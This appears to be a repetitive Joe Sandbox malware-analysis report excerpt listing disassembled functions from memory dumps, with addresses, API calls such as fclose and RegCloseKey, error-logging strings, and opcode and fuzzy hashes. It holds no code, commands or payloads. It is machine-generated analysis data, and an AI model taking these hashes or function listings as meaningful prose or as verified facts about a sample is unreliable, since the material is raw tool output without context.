Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 5bc20ac583c950df92259a1b8d7f14786c9909c5f1ae333172e60870b9f1a24e
Instruction ID: 819a58902e7bed1fa550209c1452f8b4582f3ae0dda1273d5c1ad3c6e0db3697
Opcode Fuzzy Hash: 5bc20ac583c950df92259a1b8d7f14786c9909c5f1ae333172e60870b9f1a24e
Instruction Fuzzy Hash: 88F03023A0B106C2F963AB04B4417B995521F55368E8B0AB58D490A6F1AE3EA9879320

Function 00007FF7AABD514D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: cb44c17b4e47c61bceb64ef853c57834eac4735260689cd32846fd4a7b3e6c0b
Instruction ID: 72772b8673c10ed9cafe45aad5980bdd99ba1260919da5cd69bf31edb99e793b
Opcode Fuzzy Hash: cb44c17b4e47c61bceb64ef853c57834eac4735260689cd32846fd4a7b3e6c0b
Instruction Fuzzy Hash: 53F03023B0B106C2F963AA04B4417B995522F55378E8B0AB58D480A6F1AE3EA8878320

Function 00007FF7AABD5262 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 6a16524ac11222bf263ae38b72c6ef1abeee5a46696a02edfdfba4fb478cf8ca
Instruction ID: 030b448e08b1d9aa3eefe5524eabd899fdb9b589966e13d600e2de4ca03caef2
Opcode Fuzzy Hash: 6a16524ac11222bf263ae38b72c6ef1abeee5a46696a02edfdfba4fb478cf8ca
Instruction Fuzzy Hash: BCF05433B0B207C2F963BB04B4417B995521F55379E8B0AB5CD490E6F1AE3EA8C78320

Function 00007FF7AABD5258 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: cb44c17b4e47c61bceb64ef853c57834eac4735260689cd32846fd4a7b3e6c0b
Instruction ID: 72772b8673c10ed9cafe45aad5980bdd99ba1260919da5cd69bf31edb99e793b
Opcode Fuzzy Hash: cb44c17b4e47c61bceb64ef853c57834eac4735260689cd32846fd4a7b3e6c0b
Instruction Fuzzy Hash: 53F03023B0B106C2F963AA04B4417B995522F55378E8B0AB58D480A6F1AE3EA8878320

Function 00007FF7AABD5276 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: baac9c1114a98bed6eae314587cd68cb6fb42297a9dc9bc8ec8630a526df8742
Instruction ID: b51046235e59f39a8a5d9966367ab339c36a50904b4f04dbb66a8eb97c82f662
Opcode Fuzzy Hash: baac9c1114a98bed6eae314587cd68cb6fb42297a9dc9bc8ec8630a526df8742
Instruction Fuzzy Hash: D1F03023A0B106C2F963AA04B4417B995521F55378E8B0AB5CD490A6F1AE3EA8878320

Function 00007FF7AABD526C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e46899573921c1e84c6f510f508363e14cb84ebdf7ad9e79a4d83c456136e3d4
Instruction ID: 54bd699ae22562beec09e08ef17eb5b5a256da3638fa963e94642d4215f613aa
Opcode Fuzzy Hash: e46899573921c1e84c6f510f508363e14cb84ebdf7ad9e79a4d83c456136e3d4
Instruction Fuzzy Hash: 51F03023A0B106C2F963AA04B4417B995521F55378E8B0AB58D490A6F1AE3EA8878320

Function 00007FF7AABD5280 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b4472d493916910336c3a184dc5fe2b6a72edf1b18ce426c0d0c23c479426e80
Instruction ID: c0a2e7e7b9d2896269db39d0b3f7c6517c3bc0fcd08a69a2047652da24dbc3c2
Opcode Fuzzy Hash: b4472d493916910336c3a184dc5fe2b6a72edf1b18ce426c0d0c23c479426e80
Instruction Fuzzy Hash: EEF05433B0B107C2F963BB04B4417B995521F55378E8B0AB5CD490E6F1AE3EA8C78320

Function 00007FFB2273543E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2273545D

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB227354AD
registry_get_value, xrefs: 00007FFB227354A6

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: c0d6bb7511871c5a68bf8da3c77fa9bd4f52e7e41db3f0cbe9c9b3ce7f7b5488
Instruction ID: 8178701e6d9253ff1fe19a5c0c6e6ecc8626564d6204742c20cc561b481b1eb5
Opcode Fuzzy Hash: c0d6bb7511871c5a68bf8da3c77fa9bd4f52e7e41db3f0cbe9c9b3ce7f7b5488
Instruction Fuzzy Hash: 2EF068E271C6CA41F5539B20FC403B56154AF46794F44023ADD5D866B0DFBDDE859301

Function 00007FFB2273544C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2273545D

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB227354AD
registry_get_value, xrefs: 00007FFB227354A6

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: a055b4778c3783c3e4fa707d1fe53f1d983445d5da2b89f4e01d61ab3e764a99
Instruction ID: c2a8bdf814aec4046f6c56901b2820640b4de64dcbff649172d882f2cae28687
Opcode Fuzzy Hash: a055b4778c3783c3e4fa707d1fe53f1d983445d5da2b89f4e01d61ab3e764a99
Instruction Fuzzy Hash: 94F068E271C6CA42F5539B20FC403B56154AF46794F44023ADD5DC66B0DFBDDD859301

Function 00007FFB227353AD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2273545D

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB227354AD
registry_get_value, xrefs: 00007FFB227354A6

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: fd9f8888c0c0265d1dad1df399124e1029d37ca8bf3deb28ef4ddfae8a1056fc
Instruction ID: fb8ac543755b90330e0209250c60278e51b730203016914ce76c42db23ba2b46
Opcode Fuzzy Hash: fd9f8888c0c0265d1dad1df399124e1029d37ca8bf3deb28ef4ddfae8a1056fc
Instruction Fuzzy Hash: 58F0C8E270C2CA41F5538B20FC403B56154AF46794F440239DD1D862B0EFBDDD859301

Function 00007FFB227353B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2273545D

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB227354AD
registry_get_value, xrefs: 00007FFB227354A6

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: c3dff2d061f3e5c9a2bcf6a40d8b53005d9f3c8c448c43403f9d6371be0e5e12
Instruction ID: 8491c1ef8f177845cfc45918ed46f4f565fad1ea3ccab93b713a0fd66e7d7fc0
Opcode Fuzzy Hash: c3dff2d061f3e5c9a2bcf6a40d8b53005d9f3c8c448c43403f9d6371be0e5e12
Instruction Fuzzy Hash: A6F068E271C6CA41F5535B20FC403B56154AF46794F440239DD5D865B0DFBDDD899301

Function 00007FFB227354C8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2273545D

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB227354AD
registry_get_value, xrefs: 00007FFB227354A6

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: c35669941a7ba86aad468810fa48f2004c76b28f74cf3b2dc9b98ab190aaf282
Instruction ID: fab0da83c4cc6a0837ac0efdfb7fae7c056d01382b0d71d1d96e0de87cd8f5d3
Opcode Fuzzy Hash: c35669941a7ba86aad468810fa48f2004c76b28f74cf3b2dc9b98ab190aaf282
Instruction Fuzzy Hash: 6EF068E271C6C641F5539B20FC403B56154AF46794F480239DD5D866B0DFBDDD899301

Function 00007FFB227636B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2276364D

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

registry_get_value, xrefs: 00007FFB22763696
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2276369D

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: dc1d72c241cb2a582c13a8c20989dd97c94f2eaf65a9d9d8e4de6004fbc356e4
Instruction ID: fa542073484c319243c50f6a69ce24b5386ec0a8c757811941bf12ced51a1178
Opcode Fuzzy Hash: dc1d72c241cb2a582c13a8c20989dd97c94f2eaf65a9d9d8e4de6004fbc356e4
Instruction Fuzzy Hash: 80F0C892E0C68681F6538F20FD413B52154BF46794F080135DD5DCA6A0DFADED89D300

Function 00007FFB2276362E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2276364D

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

registry_get_value, xrefs: 00007FFB22763696
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2276369D

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 2f734235ef33e1cf216b788ab3af8fc11556682c22bf506bbb09f642fc0cdf2f
Instruction ID: ffb08266d48e2e4b950e6f4666e8b7448528af75cff74a54c5a1e4c370842222
Opcode Fuzzy Hash: 2f734235ef33e1cf216b788ab3af8fc11556682c22bf506bbb09f642fc0cdf2f
Instruction Fuzzy Hash: 96F0C892E0C68681F5538F20FD413B52154AF46794F440135DD1DCA2A0DFADED49C300

Function 00007FFB2276363C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2276364D

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

registry_get_value, xrefs: 00007FFB22763696
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2276369D

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 72fe1bc1b32591d8f70d9e24a5057d4d92522e8cce16a11d7cf9252054e77442
Instruction ID: 273d77940615a1e82fa770e0efd1f7de3ea4bb143885727a1952e3d6d790b721
Opcode Fuzzy Hash: 72fe1bc1b32591d8f70d9e24a5057d4d92522e8cce16a11d7cf9252054e77442
Instruction Fuzzy Hash: 2CF0C892E0C68682F5538F20FD413B56154AF46794F440135DD1DCA6A0DFADED49C300

Function 00007FFB2276359D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2276364D

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

registry_get_value, xrefs: 00007FFB22763696
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2276369D

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: f7e974a224ffc65d7a54241aaec555cb8d64a378b09abe69ed44a2d7e3ed881f
Instruction ID: 2e9d24627d5a95d04f32d8e57fd3566e9161861e2ee79f36723b7ffe2a56c9e1
Opcode Fuzzy Hash: f7e974a224ffc65d7a54241aaec555cb8d64a378b09abe69ed44a2d7e3ed881f
Instruction Fuzzy Hash: B9F0C892E0C68681F5538F20FD413B52154AF46795F440135DD1DCA2A1EFADED49C300

Function 00007FFB227635A7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB2276364D

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

registry_get_value, xrefs: 00007FFB22763696
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2276369D

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

